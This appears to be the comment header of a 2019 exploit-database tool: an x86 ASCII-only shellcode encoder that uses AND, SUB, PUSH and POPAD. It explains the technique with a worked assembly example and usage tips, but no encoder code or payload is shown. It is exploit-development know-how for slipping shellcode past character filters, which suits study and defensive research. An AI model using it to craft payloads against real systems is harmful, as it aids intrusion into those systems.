# Encoder Title: ASCII shellcode encoder via AND, SUB, PUSH, POPAD
# Date: 26.6.2019
# Encoder Author: Petr Javorik, www.mmquant.net
# Tested on: Linux ubuntu 3.13.0-32-generic, x86
# Special thx to: Corelanc0d3r for intro to this technique
#
# Description:
# This encoder is based on egghunter found in https://www.exploit-db.com/exploits/5342
# Core idea is that every dword can be derived using 3 SUB instructions
# with operands consisting strictly of ASCII compatible bytes.
#
# What it does?:
# Suppose that we want to push \x05\xEB\xD1\x8B (0x8BD1EB05) to the stack.
# Then we can do it as follows:
#
# AND EAX, 3F465456
# AND EAX, 40392B29         ; Two AND instructions zero EAX
# SUB EAX, 3E716230         ; Subtracting 3 dwords consisting
# SUB EAX, 5D455523         ; of ASCII compatible bytes from 0x00000000
# SUB EAX, 5E5D7722         ; we get EAX = 0x8BD1EB05
# PUSH EAX

# Mandatory bytes:
# \x25  AND EAX, imm32
# \x2d  SUB EAX, imm32
# \x50  PUSH EAX
# \x61  POPAD

# How to use:
# Edit the SETTINGS section and simply run as
# ./ASCIIencoder

# ProTip:
# Take special attention to the memory between the end of decoder instructions
# and the beginning of decoded shellcode. Program flow must seamlessly step over
# this memory. If this "bridge memory area" contains illegal opcodes they can
# be rewritten with additional PUSH instruction appended to the end of generated
# shellcode. Use for example PUSH 0x41414141.
